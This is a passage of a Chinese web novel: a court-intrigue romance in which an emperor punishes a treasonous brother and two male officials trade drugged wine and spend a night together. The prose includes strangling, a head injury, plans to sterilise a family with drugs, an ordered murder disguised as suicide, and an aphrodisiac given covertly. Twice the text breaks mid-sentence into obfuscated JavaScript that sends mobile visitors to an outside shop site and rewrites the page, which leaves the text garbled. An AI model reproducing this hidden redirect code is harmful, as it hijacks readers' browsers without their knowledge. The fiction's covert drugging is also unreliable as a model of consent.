谁也不曾料到,一向恪守中立、从不站队的年大将军,最终竟会选择站在最不起眼、最无依无靠的四皇子身侧,成为他最坚实的利刃与后盾。 “年大将军愿扶持朕,从不是朕的运气。” 虞睿祥半垂着眼帘,目光如寒刃直刺晋王心口,语气淡漠却掷地有声:“是因为朕心中有收复失地的决心,有开疆拓土、护我大虞万里河山的野心。皇兄,你这辈子,可曾有过半分念头,要将那些频频侵扰我大虞边境、烧杀抢掠的蛮夷,彻底赶出国门?” 晋王面色一僵,无言以对。 于他而言,边境贫瘠,年年赋税最少,守之费力,弃之反倒省事,这般家国大义,他从未放在心上。 就在这剑拔弩张的时刻,一道漫不经心的声音忽然响起,不大,却在寂静空旷的大殿里格外清晰。 “晋王这么矮的?” 燕修延偏着头,目光饶有兴致地落在殿中两人身上。 他用胳膊肘轻轻捣了捣身旁的谢伟恒,压低声音嘀咕:“你看,两人面对面站着,陛下还要垂着眼看他,先帝那么多皇子,说起来还是咱们陛下生得最好看,气度也最是不凡。” 谢伟恒耳尖微不可查地一动,只捕捉到了两个字,眉峰微挑,语气带着几分不易察觉的醋意:“咱们?” 燕修延一噎,慌忙改口,语气带着几分讨饶:“……说错了,我只跟你‘咱们’,行了吧?” 虞睿祥看着眼前这一幕,又是无奈又是好笑,无奈开口:“谢卿,你这爱吃醋的毛病,当真得改改。” 谢伟恒闻言,单手自然而亲昵地揽住燕修延的腰,神色恭谨却动作笃定:“臣知道了。” 燕修延与虞睿祥对视一眼,心底齐齐腹诽:你知道个鬼! 殿角的晋王气得浑身发抖,阴毒的目光死死钉在燕修延身上,若不是监察司的人处处坏他好事,他何至于落得今日这般田地! 燕修延被他看得一愣,指着自己鼻尖,一脸无辜:“他这是……仇恨转移了?” 虞睿祥没再理会旁侧的小插曲,眼神骤然凌厉如刀,周身气压骤降。 “皇兄,你可知朕与你最根本的区别?” 他上前一步,单手猛地伸出,紧紧扼住了晋王的咽喉,指节用力,力道之大如同铁钳:“换作是朕,别说是被瓜子打进胳膊,便是被砍下一只手,朕、也要拼死咬断对方的脖子!” 晋王的狠,只敢施加在旁人身上。 可对他自己,却只有贪生怕死四个字。 随着虞睿祥的手不断收紧,晋王的挣扎越来越微弱,眼球凸起,眼看便要昏死过去。 就在此刻,虞睿祥忽然松了手:“想要让人为你拼命,首先你自己得豁得出这条命去。” 晋王瞬间像一滩烂泥般瘫软在地,弓着身子贪婪地大口喘息,喉咙里发出破碎的吸气声,狼狈至极。 燕修延抱着胳膊,轻飘飘开口:“陛下,他听不懂这些大道理的。” “朕知道。” 虞睿祥垂眸,冷眼看着地上如同丧家之犬的晋王,养尊处优住在云端的人,又如何能体会在泥泞中滚爬是怎样的感觉。 他语气轻描淡写,却带着几分恶意,“朕只是看他不顺眼,故意掐的。” 顿了顿,他偏头看向燕修延,语气微扬:“倒是被你带坏了。” 燕修延立刻大呼冤枉,一脸正色:“我可是个良善之人!谢大人可以为我作证!” 谢伟恒颔首,神色认真无比,字字恳切:“燕大人纯真善良,心怀坦荡,有一颗赤忱之心。” 燕修延点头如捣蒜,对谢伟恒的夸赞受用至极,一脸得意。 虞睿祥嘴角忍不住狠狠一抽,真是一个敢肆无忌惮地夸,一个敢心安理得地认。 眼见晋王缓过几分气,眼底又泛起怨毒之色,虞睿祥眸色一冷,再次拿起案上的酒壶,拔去壶塞,将里面剩余的酒,尽数淋在了晋王的头上。 酒液顺着晋王的发丝、额头滑落,浸透了他的衣袍,让他本就混沌的神智瞬间清醒了几分。 “还有一件事,朕忘了告诉皇兄。” 虞睿祥语气平淡,却字字戳心,“季风次子季乐,并非恰好死在你们动手之前,他,是死在了自己的前岳丈手中。而季家满门,自始至终,半点都未曾察觉。” 这话如同毒刺,狠狠扎进晋王的心口。 他积压的恨意彻底爆发,嘶吼着爬起身,抬手便要去夺虞睿祥手中的酒壶。 虞睿祥眸色一沉,根本不曾给他半分机会,手腕猛地发力,将酒壶狠狠砸向晋王的额头! “砰——” 一声清脆刺耳的碎裂声响彻大殿,酒壶瞬间四分五裂,瓷片飞溅。 晋王额头被狠狠砸中,一道狰狞的伤口瞬间绽开,鲜红的血液汩汩涌出,顺着面颊蜿蜒滑落,滴落在地砖上,绽开刺眼的血花。 剧烈的疼痛让他浑身抽搐,在地上痛苦翻滚,眼前阵阵发黑,几乎当场昏厥。 燕修延下意识摸了摸自己的脑袋,暗自咂舌——陛下这一下,可真是用了十足的力气,看着都觉得脑袋疼。 虞睿祥面无表情地取出怀中锦帕,慢条斯理擦了擦手上沾染的酒渍与碎屑,随后随手一丢,那方素白锦帕恰好落在晋王流血的伤口上,极尽羞辱。 他抬眼看向燕修延,语气淡淡:“修延,你素来坏点子多,帮朕出个主意,该如何处置他?” 燕修延这才恍然大悟,合着陛下留他们在这里看戏,是早就在这儿等着他了。 他立刻摆出一副纯良无害的模样,连连摆手:“陛下,我性子纯良,向来安分守己,可没什么主意……” 虞睿祥不咸不淡地扫了他一眼,语气轻飘飘却带着十足的威慑:“怎么,不想再抄别人家了?” 燕修延脸色瞬间一变,立刻换上一脸谄媚的笑容,凑上前低声道:“我有一个绝佳的点子!陛下可将晋王及其党羽的谋逆罪行昭告天下,明面上将晋王圈禁起来,再把他封地的美妾姬眷悉数接来,陪在他身边” 这话听上去,对晋王已是十分宽容,可燕修延眼底闪过一丝狡黠,接下来的话,才是真正的阴狠。 “只需要给晋王和他的儿子们,喂一点特制的药……” 后面的话,燕修延没有再说下去,只是对着虞睿祥挑了挑眉,露出一个“你懂的”眼神。 虞睿祥眼神微微一闪,瞬间明白了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646261|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中深意,淡淡开口:“‘绝代’?” 他对这种药印象极深,皆是出自监察司,监察司做出来的药,从来没有一样是正经的。 可偏偏药效奇特,作用精准,用在对付敌人身上,再合适不过。 燕修延当即一拍巴掌,笑得狡黠:“哎!对咯!正是此计!” “四哥究竟会如何处置三哥……他特意将燕修延留下,莫不是要用严刑?” 端王忧心忡忡地坐在软榻上,指尖捏着一枚白玉棋子,久久未曾落下,眉宇间满是愁绪。 他实在放心不下,今夜之事,早已在心底掀起惊涛骇浪。 瑞王则斜倚在锦缎软枕上,姿态闲适,仿佛晋王谋逆败露的惊天大事,与他毫无干系,神色淡然无比。 “六弟放心,四哥不会对三哥明着动手的。” 至少在明面上,绝不会留下半点苛待兄长的把柄。 一旁的楚毅百无聊赖地打了个哈欠,对两人对弈、暗自忧心的模样毫无兴趣,只觉得浑身不自在。 “两位王爷下棋,何苦把我拉来陪着?我实在无趣得很。” 他站起身,随意摆了摆手,“你们也不会做晋王殿下那样的事,我便先告辞了。” 说罢,楚毅头也不回地推门离去,一身轻松,毫无牵挂。 端王看着他洒脱的背影,无奈笑着摇了摇头,语气满是艳羡:“真是羡慕楚毅啊,无忧无虑,无牵无挂,活得好不快活。” 瑞王抓起一把棋子,掌心微微松开,棋子簌簌落回棋瓮之中,撞击出清脆而细碎的声响。“心中没有杂念,自然便能无忧无虑。” 端王低头苦笑一声,指尖摩挲着棋子,低声道:“咱们便是真的没有杂念,四哥,会信咱们没有杂念么?” 瑞王但笑不语,没有作答。 虞睿祥明知晋王野心勃勃,明知他暗中筹谋、意图谋逆,却始终放任他一步步走到大殿之上,撕破所有伪装。 此举从不是只为看晋王出丑,更多的,是敲打他们这些置身事外的看客——切莫妄动不该有的心思。 他如今是大虞的皇帝,是这天下的君父,这京城里的一举一动,朝野间的一丝一毫,全都逃不过他的眼睛。 谁敢生出异心,晋王,便是下一个榜样。 “咱们只需问心无愧便好,且静静看着四哥如何处置三哥吧。” 瑞王一粒一粒将散落的棋子捡回瓮中,语气平淡,“时辰不早了,本王倦了。六弟也不必过于忧虑,该吃便吃,该喝便喝,该睡便睡。” 端王轻轻叹了一口气,望着殿外沉沉夜色,心知自己这一晚,恐怕注定难以入眠。 而今夜,注定无眠的,远不止他一人。 朝中诸多大臣,经历了大殿之上的惊心动魄,皆是心神不宁,夜不能寐。 尤其是那些与中书令等人私下交好、却未曾真正参与谋逆的官员,更是惶惶不可终日,生怕被牵连其中。 李府深处的密室之中。 李想恭敬地给魏仲泽斟上一杯热茶,双手递上,语气带着几分钦佩:“义父好谋划,咱们既不必担心暴露行迹,又亲眼看了一场好戏,如今只需静观其变便可。” 魏仲泽接过茶盏,指尖摩挲着杯壁,神色深沉,目光悠远:“晋王谋逆已成定局,且看陛下如何处置便是。你切记,近日切莫露出任何站队的迹象,静观其变,方为上策。” 李想连忙躬身应是,又想起一事,低声请示:“义父,羽飞与家妻一直在公主府暂住,终究不是长久之计,您看,儿子是否该将她们接回来?” 魏仲泽微微抬眼,语气笃定,不容置喙:“不用。让她们继续住在公主府,对你而言,未尝不是一件好事。” 李想点头,又问:“那中书令的女儿呢?让燕修延盘问出来什么,必成祸患。” 魏仲泽抿了一口热茶,语气平静无波,却带着刺骨的狠戾:“让艾木都拉动手,悄无声息杀了,切记伪装成自尽,不可留下半分把柄。” 烛火摇曳,映着两人晦暗不明的脸,将密室中的阴谋与算计,深深藏入无边的黑暗里。 105. 不安好心的谢书令 谢伟恒唇角噙着一抹温雅却暗藏深意的笑,缓缓抬起手,指腹轻轻抚上燕修延的脸颊,指尖带着微凉的温度,摩挲过他细腻的肌肤。 他微微倾身,压低了嗓音,低沉的声线裹着丝丝勾人的引诱,在燕修延耳畔轻轻响起:“那,燕大人要如何为我庆贺?” “你升职,你涨俸禄,自然是你请客呗。” 燕修延心头微跳,却面上不显,反手一把攥住谢伟恒作乱的手,用力往下按在实木桌面上,指尖扣着他的腕骨,扬着下巴笑得狡黠又坦荡:“想来谢大人身居高位,不会这般小气,对吧?” 谢伟恒非但没抽回手,反而顺势将身体再往燕修延那边倾了倾,两人距离骤然拉近,呼吸交缠,空气中都漫开一丝暧昧的燥热。 他眸色深邃,望着燕修延的眼睛,一字一句道:“我请客,燕大人敢来么?” 燕修延眉梢轻挑,眼底盛满无所畏惧的桀骜:“这世上,还没有我燕修延不敢去的地方。” “好,希望燕大人能够准时赴宴。” 谢伟恒低笑一声,温柔地抬手,在燕修延光洁的额头上轻轻落下一吻。 当天下午,燕修延处理完监察司的事务归家,刚踏入院门,便被等候在旁的谢伯拦住,递过来一封烫金请帖。 燕修延伸手接过,指尖摩挲着精致的帖面,缓缓打开一看,目光落在地点二字上,登时顿住——竟是他们每日安寝的卧房。 他飞快合上帖子,抬眼看向谢伯,故作镇定地问道:“你家少爷呢?” 谢伯躬身回话,语气恭谨:“中部有紧急事务,夫人出门没多久,少爷便匆匆赶往中部了,临行前特意嘱咐老奴,将这帖子亲手交给您。” “好的,我知道了,谢谢谢伯。” 燕修延颔首应下,待谢伯退下后,又忍不住重新打开帖子,盯着那行字轻轻啧了一声,眼底掠过一丝复杂的笑意。 转身回到卧房,燕修延径直走到床头,抬手打开隐蔽的暗格,将里面的物件悉数取了出来。 翻找间,指尖忽然触到一个从未见过的素色荷包,他微微挑眉,将荷包打开,里面静静躺着一根系着小巧银铃的红绳,绳结打得精致,一看便是用心系过的。 燕修延捏着红绳,指尖轻轻一捻,银铃发出细碎清脆的声响,他忍不住低嗤一声,眉眼间染着几分无奈又纵容的笑意:“嗯哼,道貌岸然的谢书令,果然没安好心。” 嘴上这般说着,他却小心翼翼将红绳放回荷包,转身打开衣柜,把荷包塞进了衣柜最角落的隐秘处,像是藏起了一份不可言说的小心思。 他在卧房里转了一圈,仔细打量过每一处角落,确认没有再多出其他物件,才摸了摸下巴,转身又往监察司赶去,径直找到了柳岚,开口索要了几样东西。 柳岚手脚麻利地将东西备好递给他,还贼兮兮地从袖中摸出一个小巧的木盒,塞到燕修延手里,挤眉弄眼道:“头儿,这个药膏活血化瘀,清凉得很,您拿着准有用。” 燕修延接过木盒掂了掂,瞥了他一眼,嘴角勾起一抹了然的笑:“懂的挺多啊。” 说罢,将东西尽数收好,还给了柳岚一个赞许的眼神。 柳岚目送燕修延的身影远去。 刚一转身,就撞上两双闪着八卦精光的眼睛,吓得她往后一缩:“你俩乖乖,吓死个人唉!” 安清雅探头确认燕修延已经走远,才压低声音问道:“你给头儿的东西,正经么?” 柳岚两边眉毛一起上下动了动,笑得一脸神秘:“可正经了。” 朱语秋瞬间了然,拖长了语调哦了一声。 三人对视一眼,不约而同地露出心照不宣的坏笑,那模样看得不远处的白天铎浑身发毛。 白天铎悄悄碰了碰身旁肖泽的肩膀,缩着脖子小声道:“那仨儿怎么笑的让人头皮发麻,瘆得慌?” 肖泽搓了搓胳膊上的鸡皮疙瘩,转身就往另一边走:“知道瘆得慌就别往前凑,指不定在想什么坏点子,叫她们抓到,说不定拿你试药!” “也是!” 白天铎打了个寒颤,赶紧转身跟着肖泽快步往外走,半分不敢逗留。 燕修延离开监察司后,又顺路进了趟宫,凭着一身嬉皮笑脸的本事,硬是从虞睿祥那里顺走了一只精致的鸳鸯转香壶,喜滋滋地揣着回了家。 等到谢伟恒处理完中部的事务归家,刚一推开卧房的门,便看见燕修延正安安稳稳坐在桌前,眉眼带笑地等着他,态度好得异乎寻常。 “回来了,先洗洗手,喝口茶缓缓。” 燕修延起身,亲自倒了一杯温热的茶水,递到谢伟恒面前,殷勤得很。 谢伟恒一进屋,便敏锐地察觉到屋内的熏香换了一种,清浅的甜香萦绕在空气中。 再扫过桌上那只眼熟的鸳鸯转香壶,心中瞬间了然,眼底掠过一丝浅淡的笑意。 他指尖轻轻划过燕修延的手背,接过茶杯,温声道:“燕大人今日,格外热情。” 燕修延笑眯眯地应着,眼底却藏着一丝狡黠:“这不是今日要好好庆贺你升为中书令么。” 谢伟恒不再多言,放下茶杯,转身换上柔软的常服,重新坐回桌前。 燕修延拿起那只转香壶,缓缓倒出两杯酒。 将其中一杯轻轻推到谢伟恒面前,抬手做了个请的姿势。 “谢书令,请。” 谢伟恒却忽然伸出手,按住了燕修延正要举杯的手,温声道:“不急,先吃点菜垫一垫,空腹饮酒伤胃。” “也好。” 燕修延眼珠一转,没有反对,拿起勺子,将碗中硕大的狮子头一分为二,舀起一半稳稳放进谢伟恒碗中,动作自然又亲昵。 “多谢燕大人。” 谢伟恒拿起筷子,一边给燕修延夹着他爱吃的菜肴,一边轻声道,“再有些时日,查抄晋王府时,顺道去趟江南,如何?” 前往晋王封地,势必会路过江南,正是顺路。 燕修延对此自然没有异议,满口应下:“行啊,你是江南本地人,可得尽一尽地主之谊。” “这个自然。” 谢伟恒笑着应下,两人有一搭没一搭地聊着天,从朝野琐事说到日常趣事,酒却一口没动,肚子已经吃了半饱。 燕修延估摸着时机已到,端起酒杯,眼底闪着势在必得的光:“我敬你。” 谢伟恒抬手举杯,淡淡道:“请。” 话音落,谢伟恒仰头便将杯中酒一饮而尽。 燕修延眼中刚闪过一丝狡黠的得意,下一瞬便被满满的错愕取代。 谢伟恒骤然倾身,伸手扣住他的后脑,不由分说地吻住他的唇,将口中温热的酒液缓缓渡了过去,另一只手还轻轻捏住他的下颚,微微往上一抬。 燕修延猝不及防,喉间不自觉发出“咕咚”一声,硬生生将那口酒咽了下去。 “你!”燕修延猛地推开他,眼睛瞪得老大。 谢伟恒拿起桌上的转香壶,轻轻晃了晃,壶中酒水轻响,他笑得温文尔雅,却字字戳破燕修延的小心思:“鸳鸯转香壶,一酒一药,燕大人莫不是欺负我没见过世面?” 原来谢伟恒从一开始就看穿了他的把戏,方才说先吃菜垫一垫,根本就是早有防备。 燕修延又羞又恼,气鼓鼓地瞪着他:“你这贼子!居然早就知道了!” 谢伟恒又慢悠悠倒了两杯酒, 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谢伟恒仰头将两杯酒尽数喝下,放下酒杯,起身大步走到燕修延面前,弯腰稳稳将人打横抱起。 他动作轻柔,力道却不容拒绝,抱着燕修延走到床边,小心翼翼地将人放下,生怕磕碰到半分。 燕修延目瞪口呆地看着他,满脸不可置信:“你怎么也喝了……” 还喝了两杯! 谢伟恒脱下外袍,单膝跪在床上,缓缓俯身,温热的呼吸洒在燕修延的脸颊上,他眸色泛红,带着酒后的缱绻温柔,低声道:“总不能拂了哥哥的好意。” 说话间,淡淡的绯红爬上谢伟恒的脸颊,显然那两杯加了料的酒,已经开始起效。 燕修延心头一热,一股不服输的劲儿涌上来,伸手抓住谢伟恒的肩膀,腰身一用力,干脆利落地一个翻转,直接将谢伟恒反压在自己身下。 他咧嘴一笑,眼底闪着狡黠又张扬的光:“既然如此,我总得承谢大人的这番好意。” 谢伟恒没有反抗,只是温和地看着他,抬手轻轻轻抚他的耳侧,嗓音低柔,带着勾人的缱绻,轻轻唤了一声:“哥哥——” 这一声唤得燕修延心头一颤,忽然想起什么,连忙道:“等我一下。” 不等谢伟恒反应,他便麻利地跳下床,快步走到衣柜前,翻出之前藏起来的那个荷包,打开拿出里面系着银铃的红绳。 燕修延想了想,抓过谢伟恒的手腕,小心翼翼将红绳系在他的腕间,系完还满意地端详了一番:“红色果然衬你。” 谢伟恒动了动手腕,银铃轻响,他望着腕间的红绳,眼底笑意更深,低声道:“哥哥把它藏起来了。” 燕修延闻言,指尖一顿,有些不自然地摸摸鼻子,随口找了个借口:“咳……今天给貔貅点香时看到了,感觉这个应该放在柜子里好好收着。” 谢伟恒笑得意味深长,目光灼灼地望着他,缓缓重复:“原来是这样。” “对啊!” 燕修延硬着头皮应下,搓了搓手心,脑海里不由自主回想起大婚那夜谢伟恒的动作。 他抬手轻轻抬起谢伟恒的下巴,屏住呼吸,闷头便亲了上去。 许是太过激动,他亲得有些重,唇齿相碰,竟不小心磕到了谢伟恒的牙齿。 谢伟恒下意识捂住嘴,眼底瞬间泛起一层薄薄的水光,像沾了露水的琉璃,又软又无辜。 燕修延低头一看,心头猛地一软,瞬间溃不成军。 这般模样,谁能遭得住? 遭得住的,那都不叫男人! 106. 把柳岚放油锅涮 谢伟恒唇角噙着清浅笑意,稳稳张开双臂,精准接住了朝着自己扑来的燕修延,臂弯微微用力,便将人牢牢抱了个满怀。 燕修延抵在他怀中,抬眼时眼底漾着几分狡黠的顽劣,嘴角勾起一抹故作凶狠的狞笑,指尖灵巧地扯开谢伟恒松散的里衣衣襟:“谢大人,今晚你只能乖乖从了本官,你放心,本官定会好好疼爱你的~” 谢伟恒生得肌肤莹白似玉,细腻光洁,这一点燕修延早已熟记于心。 只是在肩头轻轻浅浅一咬,细腻的肌肤上便立刻浮现出一圈清晰泛红的牙印——瞧着竟像是用了极大的力气啃咬过一般,格外惹眼。 “燕大人真是粗鲁。” 谢伟恒慢悠悠抬起手,指尖轻触了触肩头那处浅印,痛感微乎其微,他却顺势眼尾一红,睫羽轻颤,眼底浮起一层薄薄的水汽。 燕修延怔怔地眨了下眼,垂眸凝视着怀中衣衫微散、肩颈线条柔和、眼尾泛着嫣红的谢伟恒。 一股滚烫的热意骤然直冲鼻腔,还未等他反应过来,一缕温热的鼻血便顺着鼻翼缓缓滴落。 谢伟恒脸上的笑意瞬间僵住,取而代之的是满满的错愕,他连忙直起身,伸手稳稳捏住燕修延的鼻子,语气急得带上了几分慌乱:“别动,我这就去找大夫!” “没事,小场面。” 燕修延摆摆手,起身走到桌边,将素色帕子浸入早已凉透的茶水中,拧干后敷在鼻侧,动作略显笨拙。 人倒是无碍,但脸丢了。 眼角余光瞥见谢伟恒一瞬不瞬盯着自己、满是担忧的神情。 燕修延强装镇定,抬手拍了拍谢伟恒的胳膊,嘴硬地扬声道:“放心,我这叫年轻气盛,你这般老气横秋的人,自然是不懂的。” 这突如其来的鼻血闹剧,让方才暧昧缱绻的氛围散了大半,谢伟恒也收了那份心思。 他起身先将桌角燃着的暖香熄灭,推开窗户,让微凉的晚风涌入屋内,散了满室甜腻的气息。 随后又取了干净的帕子,蘸了凉水,俯身轻轻擦拭燕修延滴落在自己胸口上的点点血渍。 擦着擦着,想起方才燕修延又窘又嘴硬的模样,谢伟恒喉间涌上一股笑意。 他紧紧抿住唇角,拼命想要压下上扬的嘴角,可眼底的笑意却藏不住,一点点漫了出来。 燕修延取下鼻侧的帕子,伸手摸了摸鼻翼,确认鼻血已经彻底止住,刚松了口气。 一转头,便撞进谢伟恒那双盛满笑意、唇角压都压不住的眼眸里。 “不许笑!” 燕修延眼尾一扬,带着恼羞成怒的娇蛮,伸手就去捏谢伟恒的脸颊,指尖轻轻掐住他的唇角,故作凶狠地瞪着他:“你再笑,我可就把你关进监察司的刑室,让你再也笑不出来!” 谢伟恒不躲不避,反倒顺势收紧揽在燕修延的腰际,带着人一同后退两步,稳稳坐倒在柔软的床榻上。 他的嘴被对方牢牢捏着,发不出半点声响,可那双深邃的眼眸里,笑意却愈发浓烈,像盛了漫天星光,温柔得几乎要溢出来。 燕修延与他对视,清清楚楚在那片温柔笑意里看见了自己的身影。 他心头一软,指尖蓦地松开,下一秒便低头,以吻封缄。 笑笑笑,有什么好笑的! 亲得你说不出话,看你还笑不笑! 谢伟恒搭在燕修延腰上的手缓缓收紧,将人更紧地贴向自己。 “砰”的一声。 雕花木窗被风狠狠合上,厚重的声响却丝毫没能惊扰到相拥而吻的两人。 燕修延的唇瓣柔软温热,贴着谢伟恒的唇轻轻啄吻、浅尝摩挲,缠绵片刻后,便顺着他的唇角缓缓下移,落在细腻修长的颈侧,细碎地轻吻着。 谢伟恒抬手,不动声色地打开床头隐蔽的暗格,指尖先触到了那只玉瓶,随即又摸到一个从未见过的小巧木盒。 眼底飞快掠过一丝了然又纵容的笑意,倒是早有准备,想得周全。 这细微的动作,燕修延全然未曾察觉。 他埋在谢伟恒颈间,鼻尖轻轻一嗅,一股清润淡雅的香气萦绕上来,好闻得很,还带着几分莫名的熟悉。 燕修延微微抬眼,嗓音低沉带哑:“谢大人特地搽了香膏?” 谢伟恒低低轻笑一声,气息拂过燕修延的耳畔,温柔缱绻:“夫君喜欢就好。” 燕修延眼皮猛地一跳,谢伟恒从不会无缘无故这样叫他,一叫,准没好事。 念头刚落,下一刻便应验了。 **进入。 “谢伟恒你——” 燕修延骤然蹙起眉尖,原本搭在谢伟恒手臂上的手不自觉地收紧,指尖几乎要嵌进衣料里,语气里带着几分惊怔与后知后觉的恍然。 谢伟恒却只轻轻抚着他的后背,柔声安抚,而后微微仰头,在他紧绷的下巴上落下一个轻柔的吻,低低应道:“我在。” 清浅的栀子香气愈发浓郁,丝丝缕缕缠上鼻尖。 燕修延脑子一空,猛地反应过来这香气究竟是什么,语气陡然急了:“不是,这明明是——” 【你把这个带回去给谢侍郎,他知道该怎么用。】 柳岚当初那句轻飘飘的话骤然在燕修延脑海里炸响,他又气又窘,心底狠狠咬牙。 好你个柳岚,分明是胳膊肘往外拐——谢伟恒算是内人。 不管谢伟恒算什么人,这笔账他记下了,等明日定要把柳岚抓过来狠狠数落一通,恨不得直接把人扔进锅里涮了才解气。 柳岚正坐在自己的小药庐里,低头给养了多年的药蟒缝着小衣裳。 银针穿梭在青绿色的布料间,她指尖灵巧,正琢磨着样式,冷不丁后背一麻,没来由打了个大大的寒颤,像是被人在暗地里狠狠记恨上了。 她疑惑地抬眼,摸了摸胳膊,起身快步走到窗边,将半开的木窗严实合上,挡去夜里微凉的风。 转头又笑眯眯蹲下身,拍了拍药蟒冰凉的脑袋,望着它圆溜溜的绿豆眼,温声软语:“乖乖等着,给你缝件青色的小衣服,穿上肯定好看~” “谢——” 燕修延后半句话骤然卡在喉咙里,半个字都吐不出来,只觉浑身一僵,指尖下意识收紧,深深嵌入谢伟恒紧实的背脊里。 桌案上的烛火被窗缝溜进的晚风一卷,猛地跳动摇曳,昏黄的光影在两人交叠的身影上晃出暧昧的涟漪。 谢伟恒垂眸,见他脸颊泛红、**紧绷,便放轻了力道,微微仰头,用微凉的唇瓣轻轻吻过燕修延微阖的眼睫,带着红绳的*握住他的**。 夜风从窗棂未关严的缝隙里钻进来,案上烛火被风撩得轻轻晃动。 铃声清脆悦耳。 ……(作者尽力了,Q-2-7等姿势,反正千奇百怪的。读者自己想象吧,这都不一定过审呢) “若是今日还要上朝,咱们俩指定是赶不上了。” 燕修延懒懒地窝在谢伟恒怀里,眼皮半耷拉着,打了个绵软的哈欠,嗓音带着刚温存过的沙哑:“谢书令,我现在倒有些分不清,你与那嘴笨的谢侍郎,究竟哪个更牲口。” “他们都牲口。” 谢伟恒低低一笑,掌心轻轻顺着燕修延的后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646264|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背安抚,语气温软又带着几分狡黠:“不像我,只想安安静静抱着夫君,便觉满心满足。” 燕修延闻言噎了一下,别开脸嘟囔:“……你把那个木讷老实的谢侍郎还给我。” “夫君这般说,可真叫我伤心了。” 谢伟恒故作委屈,指尖滑至燕修延的**,语气缱绻又带着几分逗弄,“你安安稳稳躺在我怀中,心里却念着旁人,莫非是我不够好,留不住夫君的心吗?” “你敢再来,我今夜便去隔壁睡!” 燕修延一把攥住谢伟恒不安分的手腕,语气又恼又软:“睡觉,闭眼!” 谢伟恒低低叹了一声,嗓音温软得像浸了温水,偏偏带着几分故意的委屈:“好,都听夫君的。只是夫君……可否对我温柔些,莫要这般凶?” 燕修延心头一紧,当即抬手捂住他的唇,指腹蹭过那片柔软的唇瓣,恼羞成怒地低喝:“闭嘴!” 凶? 也好意思说他凶。 他说**,结果呢? 谢伟恒居然*的更凶了! 他燕修延顶多是嘴上厉害几分,谢伟恒却是实打实的……算了,不提也罢。 谢伟恒比大婚那日还凶,定是那酒与香膏起了作用,才让他那般失控。 这笔账,明日定要去找柳岚好好算一算! “头儿,瞧你这模样,昨夜怕是没歇息好?我给你备的那些东西,用着可还顺手?” 柳岚一见到面色沉冷、眼底带着淡淡倦意的燕修延,丝毫未察觉周遭凛冽的气压,反倒挑着眉一脸促狭地凑上前。 燕修延缓缓抬眼,唇角勾起一抹极淡、却毫无暖意的笑,一字一顿,咬字清晰:“好、用、得、很。” 那笑意凉飕飕的,柳岚后颈猛地一麻,瞬间嗅到了危险的气息。 她干笑两声,脚步下意识往后缩,转身就要溜:“好用便好,好用便好!我忽然想起还有要事在身,先告退——” “站住。” 燕修延冷笑一声,声音不高,却带着不容置疑的压迫感,“你敢踏出这扇门,后果自行承担。” 柳岚身子一僵,只得硬生生转了回来,腰弯得低低的,瞬间换上一副恭顺乖巧的模样,声音都弱了几分:“头儿有事尽管吩咐,我的事……都不急。” 燕修延抬手,掌心轻轻搭在身旁椅背上,指节微微用力。 只听“咔嚓”一声轻响,坚硬的木扶手竟被他徒手掰下一块。 木屑簌簌落地。 柳岚默默往后又退了一小步,心里百思不得其解——头儿瞧着明明面色红润,气色极佳,怎么周身杀气重得快要溢出来了? 燕修延将木片丢在案上,咬牙切齿,语气里满是憋屈:“你给的那些东西,半点用处都没有,尤其是……” 他顿了顿,终究没好意思提及那只玉瓶,只沉着脸再次强调,“总之,格外没用!” 对柳岚来说,你说她柳岚无能尚可忍,可说她的药没用,那是万万不能忍。 她当即抬起头,理直气壮地反驳:“不可能!我的药绝无差错,定是头儿你用法不对!” 燕修延脸色更沉:“我分明按你说的做了,谢伟恒还饮了两杯酒。” 柳岚看着他这副浑然不觉的模样,又是无奈又是好笑,只得耐着性子解释:“头儿,明明是你想岔了。助兴、助兴,自然是越助越兴。谢大人本就心思深,再饮了酒,情致自然比您更盛……” 后半句“你是不是傻”,她死死咽回了肚里。 若是真说出口,今日怕是真的走不出这监察司的大门了。 107. 玉人何处教吹箫? 温泽刚踏入监察司大堂,一股沉甸甸的怨气便先一步扑了满脸。 抬眼一瞧,果不其然,柳岚正蹲在廊下,指尖有一下没一下地摩挲着掌心那只通体漆黑的小蜘蛛,眉头拧得能夹死蚊子,那副幽怨模样,活像被人抢了辛苦攒下的卷宗。 “嚯!” 温泽挑着眉走上前,语气里满是打趣,“怎么了这是,怨气重得都快凝成形了,再憋一会儿,怕是直接能入魔。” 柳岚幽幽地抬起眼,眼底写满了不解与委屈,长长叹了口气:“我不明白……” 东西明明是燕修延自己开口要的,也是他自己会错了意,用得还颇为顺手,瞧着整个人很滋润—— 越想越气,柳岚猛地一拍膝头,咬牙切齿:“凭什么要给我加活!” “什么东西?” 温泽身后便窜出一道身影,温瑞像是闻着了热闹的味儿,兴冲冲凑上前来,眼睛亮晶晶地追问:“头儿跟你要了什么东西,竟把你气成这样?” 柳岚的视线在温泽与温瑞之间飞快地来回一转,心底那点怨气瞬间化作了坏水,恶从胆边生。 谁让燕修延平白无故给她加活,哼哼哼,那就休怪她不客气。 话是温泽主动问的,谣是温瑞最爱传的,回头真闹起来,可半点不关她的事。 燕修延忽然抬手,轻轻揉了揉发烫的耳尖,莫名觉得背后一阵发虚。 谢伟恒见状,淡淡开口:“怎么了?” 燕修延放下手,若无其事地轻咳一声:“耳朵发热,想来是有人在背后念叨我。” 